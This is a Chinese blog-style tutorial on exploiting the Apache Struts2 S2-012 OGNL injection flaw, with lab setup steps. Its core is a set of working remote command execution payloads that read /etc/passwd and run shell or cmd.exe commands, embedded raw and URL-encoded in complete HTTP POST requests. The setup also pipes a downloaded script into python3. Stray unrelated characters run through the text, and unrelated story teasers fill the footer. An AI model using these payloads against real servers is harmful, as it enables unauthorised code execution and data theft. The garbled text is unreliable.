Struts-S2-012漏洞利用(含環(huán)境搭建坚冀、含POC)

S2-012

此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用

一鉴逞、參考網(wǎng)址:

https://github.com/phith0n/vulhub
https://struts.apache.org/docs/s2-012.html

二记某、 影響版本:

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13

三、 漏洞介紹:

OGNL提供了廣泛的表達(dá)式評估功能等功能华蜒。
包含特制請求參數(shù)的請求可用于將任意OGNL代碼注入到屬性中辙纬,此后將其用作重定向地址的請求參數(shù)豁遭,這將導(dǎo)致進(jìn)一步的評估叭喜。
OGNL評估已經(jīng)在S2-003和S2-005和S2-009中得到解決,但是由于它只涉及參數(shù)的名稱蓖谢,所以證明了基于白名單可接受的參數(shù)名稱并拒絕對參數(shù)中包含的表達(dá)式進(jìn)行評估的結(jié)果修復(fù)名稱捂蕴,僅部分關(guān)閉了漏洞。
第二個評估發(fā)生在重定向結(jié)果從棧中讀取并使用先前注入的代碼作為重定向參數(shù)時闪幽。
這使得惡意用戶將任意的OGNL語句放置在由操作公開的任何未歸類的String變量中啥辨,并將其評估為OGNL表達(dá)式,以便繞過Struts和OGNL庫保護(hù)來執(zhí)行方法執(zhí)行并執(zhí)行任意方法盯腌。

如果在配置 Action 中 Result 時使用了重定向類型溉知,并且還使用 ${param_name} 作為重定向變量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

這里 UserAction 中定義有一個 name 變量腕够,當(dāng)觸發(fā) redirect 類型返回時级乍,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 參數(shù)的值執(zhí)行 OGNL 表達(dá)式解析帚湘,從而可以插入任意 OGNL 表達(dá)式導(dǎo)致命令執(zhí)行玫荣。

四、 環(huán)境搭建:(windows)

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png

環(huán)境搭建:(ubuntu)

  • 安裝pip

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker

apt-get update && apt-get install docker.io

  • 啟動docker服務(wù)

service docker start

  • 安裝compose

pip install docker-compose

注意要先ssh連接大诸,將公鑰添加到github上捅厂,具體參照網(wǎng)上教程

  • 拉取項目

git clone git@github.com:phith0n/vulhub.git
cd vulhub

  • 進(jìn)入某一個漏洞/環(huán)境的目錄

cd nginx_php5_mysql

  • 自動化編譯環(huán)境

docker-compose build

  • 啟動整個環(huán)境

docker-compose up -d

五贯卦、 POC:

POC(Linux)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

兩個例子,命令執(zhí)行方式不同焙贷,本人菜鳥一枚撵割,測試ipconfig和netstat總是實在,一直在懷疑POC問題盈厘,結(jié)果后來發(fā)現(xiàn)是docker容器的問題睁枕,測試正常的程序可正常運行把跨。希望大家吸取教訓(xùn)少走彎路瓶竭。

六、修改數(shù)據(jù)包

原數(shù)據(jù)包:

POST /user.action HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://192.168.137.129:8080/user.action
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Host: 192.168.137.129:8080
Pragma: no-cache
Cookie: JSESSIONID=903BE0F1A8CA6E90F711BE7214D5608C
Connection: close

name=aaa

修改后為

POST /user.action HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://192.168.137.129:8080/user.action
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Host: 192.168.137.129:8080
Pragma: no-cache
Cookie: JSESSIONID=903BE0F1A8CA6E90F711BE7214D5608C
Connection: close

name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22%2fbin%2fbash%22%2C%22-c%22%2C%20%22ip%20addr%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

七女阀、執(zhí)行結(jié)果

1.png

八契吉、 Windows環(huán)境利用過程

POC(windows)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

訪問網(wǎng)址:http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action
原數(shù)據(jù)包為

POST /struts2-showcase-2.1.6/skill/save.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 643
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=%{
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B6C25A29EB2E058507066BA06ED9974
Connection: close

currentSkill.name=aaa&currentSkill.description=

修改后為

POST /struts2-showcase-2.1.6/skill/save.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 643
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=%{
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B6C25A29EB2E058507066BA06ED9974
Connection: close

currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22ipconfig%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&currentSkill.description=

執(zhí)行結(jié)果:


2.png

九跳仿、 至此,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新捐晶,希望大家多多幫助菲语,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末惑灵,一起剝皮案震驚了整個濱河市山上,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌英支,老刑警劉巖佩憾,帶你破解...
    沈念sama閱讀 222,464評論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異干花,居然都是意外死亡妄帘,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,033評論 3 399
  • 文/潘曉璐 我一進(jìn)店門池凄,熙熙樓的掌柜王于貴愁眉苦臉地迎上來抡驼,“玉大人,你說我怎么就攤上這事肿仑≈旅耍” “怎么了?”我有些...
    開封第一講書人閱讀 169,078評論 0 362
  • 文/不壞的土叔 我叫張陵尤慰,是天一觀的道長馏锡。 經(jīng)常有香客問我,道長割择,這世上最難降的妖魔是什么眷篇? 我笑而不...
    開封第一講書人閱讀 59,979評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮荔泳,結(jié)果婚禮上蕉饼,老公的妹妹穿的比我還像新娘虐杯。我一直安慰自己,他們只是感情好昧港,可當(dāng)我...
    茶點故事閱讀 69,001評論 6 398
  • 文/花漫 我一把揭開白布擎椰。 她就那樣靜靜地躺著,像睡著了一般创肥。 火紅的嫁衣襯著肌膚如雪达舒。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,584評論 1 312
  • 那天叹侄,我揣著相機與錄音巩搏,去河邊找鬼。 笑死趾代,一個胖子當(dāng)著我的面吹牛贯底,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播撒强,決...
    沈念sama閱讀 41,085評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼禽捆,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了飘哨?” 一聲冷哼從身側(cè)響起胚想,我...
    開封第一講書人閱讀 40,023評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎芽隆,沒想到半個月后浊服,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,555評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡摆马,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,626評論 3 342
  • 正文 我和宋清朗相戀三年臼闻,在試婚紗的時候發(fā)現(xiàn)自己被綠了鸿吆。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片囤采。...
    茶點故事閱讀 40,769評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖惩淳,靈堂內(nèi)的尸體忽然破棺而出蕉毯,到底是詐尸還是另有隱情,我是刑警寧澤思犁,帶...
    沈念sama閱讀 36,439評論 5 351
  • 正文 年R本政府宣布代虾,位于F島的核電站,受9級特大地震影響激蹲,放射性物質(zhì)發(fā)生泄漏棉磨。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,115評論 3 335
  • 文/蒙蒙 一学辱、第九天 我趴在偏房一處隱蔽的房頂上張望乘瓤。 院中可真熱鬧环形,春花似錦、人聲如沸衙傀。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,601評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽统抬。三九已至火本,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間聪建,已是汗流浹背钙畔。 一陣腳步聲響...
    開封第一講書人閱讀 33,702評論 1 274
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留金麸,地道東北人刃鳄。 一個月前我還...
    沈念sama閱讀 49,191評論 3 378
  • 正文 我出身青樓,卻偏偏與公主長得像钱骂,于是被迫代替她去往敵國和親叔锐。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,781評論 2 361

推薦閱讀更多精彩內(nèi)容